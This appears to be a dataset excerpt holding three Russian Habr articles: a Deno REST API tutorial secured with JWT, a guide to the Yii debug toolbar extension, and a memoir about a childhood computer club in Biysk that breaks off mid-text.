text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Дино (Deno): Создать Rest API с помощью JWT
> **В преддверии старта курса** [**"Node.JS Developer"**](https://otus.pw/5GFJ/) **приглашаем всех желающих посмотреть открытый урок на тему** [**"Докеризация Node.js приложений"**](https://otus.pw/JUKY/)**.**
>
> *А сейчас делимся традиционным переводом полезного материала. Приятного чтения.*
>
>
---
Со времен первой версии Deno стал модным словом для разработчиков Javascript/TypeScript/Node. Давайте погрузимся в эту технологию, создав защищенный с помощью JWT REST API.
Желательно уже иметь некоторые основы в Node и его экосистеме (Express, Nodemon, Sequelize и т.д.), чтобы следовать этому руководству.
### Что такое Дино (Deno)?
Deno - это простая, современная и безопасная среда выполнения JavaScript и TypeScript, которая использует V8 и встроена в Rust.
Уже есть много статей, детализирующих эту тему, поэтому я не буду останавливаться на ней. Я могу порекомендовать [эту](https://blog.bitsrc.io/what-is-deno-and-will-it-replace-nodejs-a13aa1734a74).
### Вступление
С момента официального релиза [**V1**](https://deno.land/v1), Deno стал "модным словечком" в течение нескольких недель (для фана, вот кривая популярности "deno" поиска в Google).
Что можно сделать с безопасной средой выполнения для Typescript and Javascript"?
Чтобы лучше понять и высказать свое мнение об этом растущем проекте, я решил создать защищенный с помощью JWT REST API и поделиться с вами своими чувствами.
Я привык работать с Node.js и [Express](https://expressjs.com/).
### Цель
Целью данного руководства будет создание защищенного REST API, что подразумевает:
* Настройка сервера
* Создание модели с ORM и базой данных
* CRUD-пользователь
* Реализация защищенной маршрутизации с JWT
### Предпосылка
Для создания нашего REST API с JWT, я буду использовать :
* Deno (рекомендую официальную документацию для установки: [здесь](https://deno.land/#installation))
* VSCode и плагин поддержки Deno, доступный по [ссылке](https://marketplace.visualstudio.com/items?itemName=denoland.vscode-deno)
А также следующие пакеты (я буду возвращаться к этому на протяжении всего урока):
* [Denon](https://deno.land/x/denon)
* [Oak](https://deno.land/x/oak)
* [Djwt](https://deno.land/x/djwt)
* [Denodb](https://deno.land/x/denodb)
* [Bcrypt](https://deno.land/x/bcrypt)
### Установка
Во-первых, давайте настроим структуру проекта так, чтобы она содержала определенное руководство по созданию чистого и "готового к производству" проекта.
```
|-- DenoRestJwt
|-- controllers/
| |-- database/
| |-- models/
|-- helpers/
|-- middlewares/
|-- routers/
|-- app.ts
```
Если бы мы были на Node + Express приложении, я бы использовал Nodemon для облегчения разработки, Nodemon перезапускает сервер автоматически после изменений в коде.
> [Nodemon](https://www.npmjs.com/package/nodemon) - это инструмент, который помогает разрабатывать приложения на основе node.js, автоматически перезапуская приложение Node при обнаружении изменений в файле в каталоге.
>
>
Чтобы сохранить тот же "комфорт разработки", я решил использовать [Denon](https://deno.land/x/denon/), его аналог для Deno.
```
deno install --allow-read --allow-run --allow-write -f --unstable
https://deno.land/x/denon/denon.ts
```
Давайте немного изменим конфигурацию Denon. Это будет полезно позже (особенно для управления переменными окружения).
```
// into denon.json
{
"$schema": "https://deno.land/x/denon/schema.json",
"env": {},
"scripts": {
"start": {
"cmd": "deno run app.ts"
}
}
}
```
Теперь мы готовы начать кодирование в хороших условиях! Чтобы запустить Denon, просто введите в консоле `denon start`:
```
➜ denon start
[denon] v2.0.2
[denon] watching path(s): *.*
[denon] watching extensions: ts,js,json
[denon] starting `deno run app.ts`
Compile file:///deno-crashtest/app.ts
[denon] clean exit - waiting for changes before restart
```
Вы видите, что наш сервер работает… но он ломается! Это нормально, у него нет кода для выполнения в `app.ts`.
### Давайте инициализируем наш сервер
Я решил использовать фреймворк [Oak](https://deno.land/x/oak).
Oak - это промежуточный фреймворк для http-сервера Deno, включая промежуточное ПО маршрутизатора. Этот промежуточный фреймворк вдохновлен Koa, а промежуточный маршрутизатор вдохновлен `@koa/router`.
Давайте инициализируем наш сервер с помощью Oak :
```
// app.ts
import { Application, Router, Status } from "https://deno.land/x/oak/mod.ts";
// Initialise app
const app = new Application();
// Initialise router
const router = new Router();
// Create first default route
router.get("/", (ctx) => {
ctx.response.status = Status.OK;
ctx.response.body = { message: "It's work !" };
});
app.use(router.routes());
app.use(router.allowedMethods());
console.log("? Deno start !");
await app.listen("0.0.0.0:3001");
```
Теперь, если мы запустим наш сервер с `denon start`.
```
error: Uncaught PermissionDenied: network access to "0.0.0.0:3001",
run again with the --allow-net flag
```
Это одно из больших различий между Deno и Node: Deno по умолчанию безопасен и не имеет доступа к `network`. Вы должны авторизовать его:
```
// into denon.json
"scripts": {
"start": {
// add --allow-net
"cmd": "deno run --allow-net app.ts"
}
}
```
Теперь вы можете получить доступ из браузера (хотя я советую использовать [Postman](https://www.postman.com/)) к [localhost:3001](http://localhost:3001/) :
```
{
"message": "It's work !"
}
```
### Установка базы данных
Я буду использовать [DenoDB](https://github.com/eveningkid/denodb) в качестве ORM (в частности, потому что он поддерживает Sqlite3). Более того, он очень похож на [Sequelize](http://sequelize) (к которому я привык).
Давайте добавим первый контроллер `Database` и файл Sqlite3.
```
|-- DenoRestJwt
|-- controllers/
| |-- Database.ts
| |-- database/
| | |-- db.sqlite
| |-- models/
|-- app.ts
```
```
// Database.ts
import { Database } from "https://deno.land/x/denodb/mod.ts";
export class DatabaseController {
client: Database;
/**
* Initialise database client
*/
constructor() {
this.client = new Database("sqlite3", {
filepath: Deno.realPathSync("./controllers/database/db.sqlite"),
});
}
/**
* Initialise models
*/
async initModels() {
this.client.link([]);
await this.client.sync({});
}
}
```
Наш ORM инициализирован. Вы можете заметить, что я использую `realPathSync`, который требует дополнительного разрешения. Давайте добавим `--allow-read` недописанное и `--allow-write` недописанное в `denon.json`:
```
"scripts": {
"start": {
"cmd": "deno run --allow-write --allow-read --allow-net app.ts"
}
}
```
Все, что осталось сделать, это создать модель пользователя через наш ORM:
```
|-- DenoRestJwt
|-- controllers/
| |-- models/
| |-- User.ts
|-- app.ts
```
```
// User.ts
import { Model, DATA_TYPES } from "https://deno.land/x/denodb/mod.ts";
import nanoid from "https://deno.land/x/nanoid/mod.ts";
export interface IUser {
id?: string;
firstName: string;
lastName: string;
password: string;
}
export class User extends Model {
static table = "users";
static timestamps = true;
static fields = {
id: {
primaryKey: true,
type: DATA_TYPES.STRING,
},
firstName: {
type: DATA_TYPES.STRING,
},
lastName: {
type: DATA_TYPES.STRING,
},
password: {
type: DATA_TYPES.TEXT,
},
};
// Id will generate a nanoid by default
static defaults = {
id: nanoid(),
};
}
```
Здесь нет ничего нового, так что я не буду останавливаться на этом. (ps: Я использую `nanoid` для управления моим UUID, я позволю вам прочитать эту очень интересную статью об этом).
Я пользуюсь этой возможностью, чтобы добавить функцию, которая будет полезна позже: хэш пароля. Для этого я использую [Bcrypt](https://deno.land/x/bcrypt):
```
// inside User's class
import * as bcrypt from "https://deno.land/x/bcrypt/mod.ts";
// ...
static async hashPassword(password: string) {
const salt = await bcrypt.genSalt(8);
return bcrypt.hash(password, salt);
}
```
И наконец, давайте свяжем нашу модель с нашим ORM :
```
// Database.ts
import { User } from "./models/User.ts";
export class DatabaseController {
//...
initModels() {
// Add User here
this.client.link([User]);
return this.client.sync({});
}
}
```
Хорошо! Теперь, когда наш сервер и база данных на месте, пришло время инициализировать маршруты создания аккаунтов…
User controller
---------------
Нет ничего более основного, чем хороший CRUD:
```
|-- DenoRestJwt
|-- controllers/
| |-- Database.ts
| |-- UserController.ts
```
```
import * as bcrypt from "https://deno.land/x/bcrypt/mod.ts";
import { IUser, User } from "./models/index.ts";
export class UserController {
async create(values: IUser) {
// Call static user method
const password = await User.hashPassword(values.password);
const user: IUser = {
firstName: values.firstName,
lastName: values.lastName,
password,
};
await User.create(user as any);
return values;
}
async delete(id: string) {
await User.deleteById(id);
}
getAll() {
return User.all();
}
getOne(id: string) {
return User.where("id", id).first();
}
async update(id: string, values: IUser) {
await User.where("id", id).update(values as any);
return this.getOne(id);
}
async login(lastName: string, password: string) {
const user = await User.where("lastName", lastName).first();
if (!user || !(await bcrypt.compare(password, user.password))) {
return false;
}
// TODO generate JWT
}
}
```
Я просто использую методы, предоставляемые ORM. Теперь нам осталось только управлять генерацией JWT.
### Настройка маршрутизации
Теперь пришло время создать наши различные пути и вызвать наш свежезакодированный контроллер.
```
|-- DenoRestJwt
|-- routers
|-- UserRoute.ts
```
```
import { Router, Status } from "https://deno.land/x/oak/mod.ts";
import { UserController } from "../controllers/UserController.ts";
import { BadRequest } from "../helpers/BadRequest.ts";
import { NotFound } from "../helpers/NotFound.ts";
// instantiate our controller
const controller = new UserController();
export function UserRoutes(router: Router) {
return router
.get("/users", async (ctx) => {
const users = await controller.getAll();
if (users) {
ctx.response.status = Status.OK;
ctx.response.body = users;
} else {
ctx.response.status = Status.NotFound;
ctx.response.body = [];
}
return;
})
.post("/login", async (ctx) => {
if (!ctx.request.hasBody) {
return BadRequest(ctx);
}
const { value } = await ctx.request.body();
// TODO generate JWT
ctx.response.status = Status.OK;
ctx.response.body = { jwt };
})
.get("/user/:id", async (ctx) => {
if (!ctx.params.id) {
return BadRequest(ctx);
}
const user = await controller.getOne(ctx.params.id);
if (user) {
ctx.response.status = Status.OK;
ctx.response.body = user;
return;
}
return NotFound(ctx);
})
.post("/user", async (ctx) => {
if (!ctx.request.hasBody) {
return BadRequest(ctx);
}
const { value } = await ctx.request.body();
const user = await controller.create(value);
if (user) {
ctx.response.status = Status.OK;
ctx.response.body = user;
return;
}
return NotFound(ctx);
})
.patch("/user/:id", async (ctx) => {
if (!ctx.request.hasBody || !ctx.params.id) {
return BadRequest(ctx);
}
const { value } = await ctx.request.body();
const user = await controller.update(ctx.params.id, value);
if (user) {
ctx.response.status = Status.OK;
ctx.response.body = user;
return;
}
return NotFound(ctx);
})
.delete("/user/:id", async (ctx) => {
if (!ctx.params.id) {
return BadRequest(ctx);
}
await controller.delete(ctx.params.id);
ctx.response.status = Status.OK;
ctx.response.body = { message: "Ok" };
});
}
```
Все, что нам нужно сделать, это вызвать нашу логику из нашего контроллера.
Я использую методы HTTP для четкого разделения маршрутов. Я также создал хелперы управления возвращаемыми ошибками. Исходники можно найти прямо из проекта GitHub! Все, что нам нужно сделать, это вызвать наш маршрутизатор в нашем приложении:
```
// app.ts
import { DatabaseController } from "./controllers/Database.ts";
import { UserRoutes } from "./routers/UserRoute.ts";
const userRoutes = UserRoutes(router);
app.use(userRoutes.routes());
app.use(userRoutes.allowedMethods());
await new DatabaseController().initModels();
```
### Безопасность и JWT
Пришло время добавить безопасности к этому проекту! Я использую [JWT](https://jwt.io/) для этого.
#### 1. Создать защищенный маршрут
Прежде всего, мы собираемся установить промежуточный слой:
* Проверяет, существует ли в запросе заголовок "Authorization".
* Достает заголовок
* Валидирует заголовок
* Возвращает ошибку / Принимает запрос и вызывает приватный маршрут
Я воспользуюсь библиотекой [Djwt](https://deno.land/x/djwt).
```
|-- DenoRestJwt
|-- middlewares/
| |-- jwt.ts
```
Наша функция должна будет принять в параметре контекст запроса, извлечь токен из заголовков, проверить его достоверность и действовать соответствующим образом.
```
import { Context, Status } from "https://deno.land/x/oak/mod.ts";
import { validateJwt } from "https://deno.land/x/djwt/validate.ts";
/**
* Create a default configuration
*/
export const JwtConfig = {
header: "Authorization",
schema: "Bearer",
// use Env variable
secretKey: Deno.env.get("SECRET") || "",
expirationTime: 60000,
type: "JWT",
alg: "HS256",
};
export async function jwtAuth(
ctx: Context>,
next: () => Promise
) {
// Get the token from the request
const token = ctx.request.headers
.get(JwtConfig.header)
?.replace(`${JwtConfig.schema} `, "");
// reject request if token was not provide
if (!token) {
ctx.response.status = Status.Unauthorized;
ctx.response.body = { message: "Unauthorized" };
return;
}
// check the validity of the token
if (
!(await validateJwt(token, JwtConfig.secretKey, { isThrowing: false }))
) {
ctx.response.status = Status.Unauthorized;
ctx.response.body = { message: "Wrong Token" };
return;
}
// JWT is correct, so continue and call the private route
next();
}
```
Обратите внимание, что нам нужен секретный ключ, чтобы зашифровать наш токен. Для этого я использую переменные окружения Deno. Так что нам нужно внести несколько изменений в конфигурацию Denon: добавить нашу переменную и разрешить Deno получать переменные окружения.
```
{
"$schema": "",
// Add env variable
"env": {
"SECRET": "ADRIEN\_IS\_THE\_BEST\_AUTHOR\_ON\_MEDIUM"
},
"scripts": {
"start": {
// add the permission with --allow-env
"cmd": "deno run --allow-env --allow-read --allow-net app.ts"
}
}
}
```
(ps: если вы хотитеобезопасить переменные окружения**,** я рекомендую это [учебное пособие](https://medium.com/javascript-in-plain-english/im-now-versioning-my-app-secrets-in-git-here-is-why-you-should-do-the-same-2a72c1a49039))
Тогда давайте создадим наш приватный маршрут.
```
|-- DenoRestJwt
|-- routers
|-- UserRoute.ts
|-- PrivateRoute.ts
```
Просто вызовите наш метод перед вызовом нашего маршрута:
```
import { Router, Status } from "https://deno.land/x/oak/mod.ts";
import { jwtAuth } from "../middlewares/jwt.ts";
export function PrivateRoutes(router: Router) {
// call our middleware before our private route
return router.get("/private", jwtAuth, async (ctx) => {
ctx.response.status = Status.OK;
ctx.response.body = { message: "Conntected !" };
});
}
```
Не забудьте добавить его в наше приложение:
```
import { Router, Status } from "https://deno.land/x/oak/mod.ts";
import { jwtAuth } from "../middlewares/jwt.ts";
export function PrivateRoutes(router: Router) {
// call our middleware before our private route
return router.get("/private", jwtAuth, async (ctx) => {
ctx.response.status = Status.OK;
ctx.response.body = { message: "Conntected !" };
});
}
```
Если мы попробуем вызвать наш API на /private , у нас будет корректный ответ:
```
{
"message": "Unauthorized"
}
```
#### 2. JWT поколение
Теперь пришло время настроить генерацию токенов при входе пользователей в систему. Помните, что мы оставили // TODO generate JWT в нашем контроллере. Перед его завершением мы сначала добавим статический метод в нашу модель User, чтобы сгенерировать токен.
```
// User.ts
import {
makeJwt,
setExpiration,
Jose,
Payload,
} from "https://deno.land/x/djwt/create.ts";
import { JwtConfig } from "../../middlewares/jwt.ts";
// ...
export class User extends Model {
// ...
static generateJwt(id: string) {
// Create the payload with the expiration date (token have an expiry date) and the id of current user (you can add that you want)
const payload: Payload = {
id,
exp: setExpiration(new Date().getTime() + JwtConfig.expirationTime),
};
const header: Jose = {
alg: JwtConfig.alg as Jose["alg"],
typ: JwtConfig.type,
};
// return the generated token
return makeJwt({ header, payload, key: JwtConfig.secretKey });
}
// ...
}
```
Вызовем этот метод в нашем контроллере :
```
// UserController.ts
export class UserController {
// ...
async login(lastName: string, password: string) {
const user = await User.where("lastName", lastName).first();
if (!user || !(await bcrypt.compare(password, user.password))) {
return false;
}
// Call our new static method
return User.generateJwt(user.id);
}
}
```
Наконец, давайте добавим эту логику в наш маршрутизатор:
```
// UserRoute.ts
// ...
.post("/login", async (ctx) => {
if (!ctx.request.hasBody) {
return BadRequest(ctx);
}
const { value } = await ctx.request.body();
// generate jwt
const jwt = await controller.login(value.lastName, value.password);
if (!jwt) {
return BadRequest(ctx);
}
ctx.response.status = Status.OK;
// and return it
ctx.response.body = { jwt };
})
// ...
```
Теперь, если мы попытаемся подключиться, у нас есть :
```
// localhost:3001/login
{
"jwt":
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IlEyY0ZZcUxKWk5Hc0toN0FWV0hzUiIsImV4cCI6MTU5MDg0NDU2MDM5MH0.drQ3ay5_DYuXEOnH2Z0RKbhq9nZElWCMvmypjI4BjIk"
}
```
(Не забудьте создать аккаунт раньше)
Давайте добавим этот токен в наши заголовки `Authorization` и снова вызовем наш приватный маршрут:
```
// localhost:3001/private with token in headers
{
"message": "Connected !"
}
```
Здорово! Есть наш защищенный API ?.
Вы можете найти этот проект на моем Github: [здесь](https://github.com/Trobyss/deno-api-rest-jwt) (я добавляю коллекцию почтальона, чтобы сделать запрос).
Мои впечатления о Deno
----------------------
Я решил поделиться с вами своими впечатлениями относительно Depo, что вам даст некое представление о нем:
Импорт модулей по URL в начале немного контр-интуитивно понятен: всегда хочется сделать `npm i` или `yarn add`. Более того, нам приходится запускать Deno, чтобы кэшировать наши импорты, и только после этого мы имеем доступ к автозавершению.
```
The remote module XXX has not been cached
```
* Я всегда использую TypeScript в своих проектах на Javascript, так что в начале я совсем не потерялся. Напротив, я довольно хорошо знаком с ним.
* Интересный момент: permissions. Я думаю, хорошо, что Deno, например, требует permissions на доступ к сети. Это заставляет нас, как разработчиков, быть в курсе доступа и прав нашей программы. (более безопасно)
* Сначала мы немного запутались в том, где искать пакеты (https://deno.land/x → 460 пакетов и NPM → + 1 миллион).
* Вы никогда не можете быть уверены, что пакет также работает на Deno или нет. Вы +всегда хотите быть ближе к тому, что знаете и используете на Node, чтобы перенести его на Deno. Я не знаю, хорошо это или плохо, это всё ещё javascript…
---
> Узнать подробнее о курсе ["Node.JS Developer"](https://otus.pw/5GFJ/).
>
> Посмотреть открытый урок на тему ["Докеризация Node.js приложений"](https://otus.pw/JUKY/).
>
>
---
[**ЗАБРАТЬ СКИДКУ**](https://otus.pw/EipQ/) | https://habr.com/ru/post/532582/ | null | ru | null |
# Расширение yii-debug-toolbar
Доброе время суток хабравчане.
Сегодня я хотел бы рассказать об одном замечательном расширении yii-debug-toolbar от Сергея Малышева.
Вкратце
-------
Это расширение добавляет очень симпатичную и удобную дебаг панель.
yii-debug-toolbar имеет 5 вкладок:* Server: отображает информацию из phpinfo();
* Time: отображает время загрузки страницы, размер затраченной памяти и размер сессии;
* Globals: отображает дампы глобальных переменных ($\_SERVER, $\_COOKIE, $\_SESSION, $\_POST, $\_GET, $\_FILES);
* Settings: отображает конфиг приложения (все параметры, компоненты и глобальные настройки);
* SQL: отображает информацию о SQL сервере и лог по SQL запросам (сам запрос и время исполнения);
* Logging: отображает лог информацию (отправленную через Yii::log).
[](http://www.habrastorage.com/?v=panel.png)
Установка
---------
Итак, что бы установить такую панель на свой тестовый сервер Вам понадобиться скачать исходник последней верссии отсюда [www.yiiframework.com/extension/yii-debug-toolbar](http://www.yiiframework.com/extension/yii-debug-toolbar). Распаковываем архив в папку /protected/extensions. Затем в конфиге прописываем в компонент log
```
#...
'log'=>array(
'class'=>'CLogRouter',
'enabled'=>YII_DEBUG,
'routes'=>array(
#...
array(
'class'=>'CFileLogRoute',
'levels'=>'error, warning',
),
array(
'class'=>'application.extensions.yii-debug-toolbar.YiiDebugToolbarRoute',
'ipFilters'=>array('127.0.0.1','192.168.1.215'),
),
),
),
#...
```
После чего, справа вверху должен появиться синий жук (аля фаербаг). Если он у Вас есть, значит Вы все сделали правильно.
Настройка
---------
Все параметры компонент наследует от CLogRouter. Но есть у него и один свой параметр: ipFilters. Это массив разрешённых IP адресов. Если Вы не хотите случайно выложить копию с дебаг баром на продакшн, то впишите туда свой IP адрес, и панель будет доступна только с Вашего компьютера.
Параметры наследуемые от CLogRouter:* bool enabled: если false — то дебаг отключен (я обычно ставлю туда константу YII\_DEBUG, тогда можно быстро и глобально отключить дебаг);
* string levels: список уровней логирования через запятую или пробел;
* string categories: список категорий логирования через запятую или пробел;
* array filter: дополнительные фильтры (например CLogFilter);
* array logs: логи, собранные по ходу выполнения программы.
На сладкое. Как создать свою панель в yii-debug-toolbar?
--------------------------------------------------------
Автор расширения позаботился о разработчиках, использующих его продукт и сделал возможность безболезненно добавлять свои табы. Давайте попробуем создать панель с названием «Test». Для этого в папку /protected/extensions/yii-debug-toolbar/panels нужно добавить новый файл YiiDebugToolbarPanelTest.php и создать в нем новый класс YiiDebugToolbarPanelTest, который наследуется от YiiDebugToolbarPanel. Этот класс должен реализовывать 5 методов:* getMenuTitle: метод возвращает название таба в боковой панели;
* getMenuSubTitle: метод возвращает описание таба в боковой панели;
* getTitle: метод возвращает название таба непосредственно внутри таба (наверху, на желтой полосе);
* getSubTitle: метод возвращает описание таба непосредственно внутри таба (наверху, на желтой полосе);
* run: отображает контент таба.
И добавить таб в свойство $\_panels класса YiiDebugToolbar (/protected/extensions/yii-debug-toolbar/YiiDebugToolbar.php)
```
class YiiDebugToolbarPanelTest extends YiiDebugToolbarPanel{
function getMenuTitle(){ return 'Test'; }
function getMenuSubTitle(){ return 'subtest'; }
function getTitle(){ return 'TEST v1.0'; }
function getSubTitle(){ return 'Hello Vasya'; }
function run(){
echo '#### '.self::getSubTitle().'
';
echo rand();
}
}
```
Результат:
[](http://www.habrastorage.com/?v=newtab.png)
Если кому-то интересно, в следующей статье могу рассказать как написать свой логгер.
С уважением, Роман. | https://habr.com/ru/post/127234/ | null | ru | null |
# Всем лучшим учителям посвящаетя…
Я вырос в небольшой городке Алтайского края на берегу реки Бия, недалеко от того места, где она сливается с Катунью. Городок этот, в сущности, ничем не отличался от сотен других крошечных городов — бывших дореволюционных уездных центров, разросшихся однотипными блочными пятиэтажками в советскую эпоху вокруг какого-нибудь НИИ или «городообразующего предприятия». Таких щедро раскидано по просторам Нашей Необъятной.
В моем детстве был сосновый лес, речка, лодочная станция неподалеку от узенького пляжа, куда приезжали отовсюду купальщики по выходным и куда мы ходили купаться со старшей сестрой в пору моего детсадовского малолетства. А так же холмы для катаний на лыжах зимой, прямо по лыжне вниз, налево и по периметру в котлован некогда вырытый бог весть для каких нужд, да так и оставленный на волю своей нехитрой геодезической судьбы.
*Это мы с друзьями по дороге из школы в далеком не то 84м не то 85м году.*
А еще в нашей окраине, там где дорога сразу после автобусной остановки разветвлялась и одной своей веткой уходила в сторону школы и потом через площадь с кинотеатром и спортивным комплексом Заря в направлении «лодочной», а другой упиралась в проходную местного химического НИИ, там, на развилке, спиной в лес стоял Купол. Мы называли его Купол в соответствии с его очевидными архитектурными особенностями, а так, для всех остальных это был Планетарий или Дом Детского Творчества имени Савченко.
*Бийский Дом Детского Творчества имени Савченко Я.Ф.*
Это было место притяжения. На фоне клонированных пятиэтажек Купол возвышался особняком и притягивал детей всех возрастов со всего города. На втором этаже находилась музыкалка, привычно трезвонившая раскатистой скрипично-фортепьянной додекафонией. На первом располагались технические кружки всех мастей. Авиамодельный, радиоэлектронный, астрономический (да да, у нас был телескоп там под куполом, а еще, вы не поверите, всамделишный крутейший планетарий с оптикой Carl Zeiss), радиолюбительсткий с антенной на крыше, фото, еще были какие-то более экзотические (как вам кружек спутникового телевидения, например?). Впрочем, всех я уже и не упомню. Однако, центром притяжения для каждого, кто когда бы то ни было посещал этот наш местечковый «храм технического прогресса» был, конечно же, компьютерный кружок Роботрон.
Помнится, будучи еще юным сорванцом, после уроков в музыкалке я частенько заглядывал в комнату на первом этаже, и с завистью наблюдал, как «старшаки» с умным видом выстукивали вереницы непонятного кода или шумно рубились в какой-нибудь Тетрис, улучив минуту, когда преподаватель вышел по делам или просто у кого-то закончились занятия.
Нужно ли говорить, что, как только закончилась музыкалка, я первым делом побежал «туда». И какова же была моя досада, когда я выяснил, что, увы, «набор уже завершен» и что теперь мне придется ждать еще целый год. И вот где-то через месяц, когда я уже было смирился с мыслью о том, что мне, вместо таинственных электронных машин светит унылое вырезание деревянных белочек на УПК\*, зазвонил телефон. Это был друг Миха. Миха сообщил, что у них в группе один паренек «свалил», и посему имеется одно вакантное место, на которое я, при желании, могу претендовать. Решение было молниеносным! Я быстро оделся и через 10 минут уже бежал вприпрыжку в направлении ДДТ.
*\* УПК — [учебно производственный комбинат.](https://ru.wikipedia.org/wiki/%D0%A3%D1%87%D0%B5%D0%B1%D0%BD%D0%BE-%D0%BF%D1%80%D0%BE%D0%B8%D0%B7%D0%B2%D0%BE%D0%B4%D1%81%D1%82%D0%B2%D0%B5%D0%BD%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%BC%D0%B1%D0%B8%D0%BD%D0%B0%D1%82) Была такая образовательная практика в Совке. Совершенно бессмысленная но освобождавшая день от учебы. Бонус в том, что занимавшиеся в кружке Роботрон по каким-то там межшкольным договоренностям освобождались от этой обязаловки вовсе. И можно было приходить с утра и, если тебе повезло с местом, фактически, целый день невозбранно программировать :)*
*Та самая дверь, из-за которой доносились таинственные «пиу-пиу» и щелканье герконовых клавиатур. Увы, я не нашел ни в сети ни у себя никаких внутренних интерьеров кружка Роботрон, если вдруг кто-нибудь из alumnies имеет что-нибудь в закромах, чиркните. Добавлю. Да, оцените панно!*
Я стремглав домчался до Купола, мимо вахтера, в фойе и вот она вожделенная дверь. Сейчас я приоткрою ее и осторожно загляну внутрь. Я впервые смогу переступить порог этого таинственного заведения. На правах кандидата.
\* \* \*
--------
Под жужжащими лампами в тишине сидели ребята и вдумчиво разглядывали пронумерованные строки непонятных символов на черно-белых мониторах с мерно мигающим курсором в уголке. Кто-то что-то набивал, кто-то просто с умным видом всматривался в набранный текст. Я созерцал это все великолепие со смешанным чувством таинственного предвкушения и, одновременно, опасения, что «они-то уже тут месяц, а я вообще ничего не понимаю». После короткой беседы с преподавателем я подсел в Мишке и стал рассматривать светящиеся символы.
```
10 A = 0
20 A = A + 1
30 PRINT А
40 GOTO 20
```
Это был мой первый урок программирования на Бейсике :)
Формально нас учили только первые полгода. Ну т.е. как учили. Занятия были построены по следующему принципу: первые 15 минут — теория, потом задание. Кто справился, может играть в игрушки. Такой нехитрый план.
— «Сегодня мы изучаем сортировку методом пузырька....». У кого-то работало сразу, кто-то копошился до самого закрытия. Так или иначе, это возымело свои плоды и через пару месяцев я уже более-менее строчил на Бейсике и пытался делать какие-то незамысловатые эксперименты с графикой. А ближе к зиме, как заправский программист, приходил со своей собственной дискеткой и аккуратно сохранял туда все наши упражнения, а так же игрушки, демки и бог весть что еще, что приносили заезжие студиозиусы — бывшие роботроновские выпускники.
Так продолжалось ровно полгода. А потом наступили зимние каникулы и нас «отпустили»… Сергей Викторович так и сказал — «все, вы знаете Бейсик, теперь придумывайте, что вы хотите на нем написать». Я точно знал, что я хотел. Я хотел музыкальный редактор. Потом я хотел игру «а ля Арканоид», а потом… Потом я хотел чтобы было бы так же красиво и с сюжетом, как в Спейс Квест. Собственно это и был мой первый проект, который я сам себе придумал и сам шаг за шагом пытался писать по мере сил, время от времени меняя траекторию, когда «принцип становился понятен». Собственно после этого нас никто больше ничему не обучал. Спустя какое-то время нам дали «вводную» по Паскалю. А еще через полгода по Си. Теперь вся теория сводилась к одному-двум занятиям, в которых объяснялся синтаксис и особенности языка. А остальное — твое личное дело. Вот Керниган и Пайк на полочке, вот Страуструп, Кнут, стопка Мир ПК, а вот старшие ребята и иногда преподаватели, у которых завсегда можно что-нибудь спросить, если что-то совсем не понятно. Главное — никаких игрушек в рабочее время. Разбирайся, спрашивай, помогай младшим, одним словом, делай что хочешь.
Меня это более чем устраивало. Я настолько наигрался в первое полугодие, что игрушки меня стали интересовать исключительно с позиции «как это у них сделано круто, надо бы разобраться как и сделать круче». В общем, я как-то постепенно понял, что программирование интерактивных компьютерных картинок со звуком — это то, что меня более всего привлекает. Никакого «мультимедиа» в ту пору не было и в помине. Только-только стали появляться слухи о чудесных заморских Roland и Sound Blaster и все это стоило непомерных денег. У нас же были обычные IBM PC c 286м процессором, который только-только пришли на смену монохромным Нейрончикам, так что я довольствовался ScreamTracker-ом и, позднее, спаянным к нему Covox-ом из резисторов. Ну и восьми-битной графикой VGA 320 на 200.
*Советский 8086 совместимый копьютер Нейрон И9.66, на котором мы в ту пору постигали азы разработки ПО (Фото: Сергей Фролов, [Soviet Digital Electronics Museum](http://www.leningrad.su/museum/))*
Помнится, я раздобыл граббер видеопамяти, да не простой, а тот, который… то ли в силу бага, то ли это такая у него была фича, в общем, он умел грабить видеопамять полностью. VGA режим, как известно позволял хранить четыре видеостраницы. Так вот, обнаружив это его прекрасное свойство, я первым делом вынул содержимое видеопамяти Prince Of Persia, и обнаружил там спрайты с фазами движения героя. Все, кто застал эту эпоху, наверняка помнят, насколько детализированным и реалистичным было движение героя в этой игрушке. Я многократно пытался сделать качественные спрайты для своей игры, и, по-правде сказать, меня просто завораживало это движение в Принце. Это было каким-то запредельным эталоном качественной анимации персонажа. И, разумеется, я тут же стал рисовать по образу и подобию героя в своей игре, тщательно копируя фазы, хотя бы и в редуцированном количестве. ([спустя годы мы все узнали секреты этого качества](https://levik.livejournal.com/315745.html), но это уже другая история)
Позднее я познакомился с единомышленниками Мишей Ивановым и Игорем Лебедевым (они на фото ниже, справа), они так же как и я любили Квесты и программирование и так же как я любили разбираться во всем и экспериментировать. И мы не раздумывая бросились писать квест по нашей в ту пору любимой книженции. Про хоббита Бильбо, разумеется. Разумеется мы ее так и не дописали, а потом универы, учеба, все вот это… но я уверен, что где-то эта игрушка до сих пор лежит. Я даже недавно нашел у себя в закромах диск, где она может быть. Осталось отыскать 5" дисковод :)
*Наши преподаватели: Владимир Леонидович Стригин,… за давностью лет забыл, как звали преподавателя в группе помладше (alumnies, help!). Правее: я, Мишка и Игорь со своим братишкой — коллеги по гейм-деву. А слева позади Вася. Вася был крутейший ассемблерщик. Помнится, написал резидентную утилитку, которая эмулировала интерфейс редактора Борланд Си (даже с бегающим курсором и открывающимися менюшками, по-моему), чтобы можно было втихаря играть в Цивилизацию, например, во время занятий :)*
*Артефакт из детства, что я возил зачем-то все это время по миру. Сам недоумеваю, каким чудом у меня сохранился этот раритет, не иначе как для того, чтобы быть оставленным в качестве иллюстрации здесь :)*
Надо сказать, что все, кто так же фанатично любил кодить как и я (впрочем как и те, кто просто приходил поиграться втихаря), мы старались урвать каждый свободный час, чтобы всеми правдами и неправдами пробраться в Роботрон, включая время чужих занятий а так же время между занятиями, после занятий и иногда вместо занятий. Некоторые особо одаренные умудрялись даже оставаться на ночь, спрятавшись за столами и просиживали в темной комнате при свете монитора без возможности выйти в тубзик до самого утра. Зато один на один с компилятором и дебагером, ну и, разумеется, игрушками (и горе тому, кто не догадывался выключить звук загодя). Не обходилось и без того, чтобы кто-то (Вова Стебунов, привет!) не был застигнут с утра в субботу, например, в кабинете, спящим на клавиатуре.
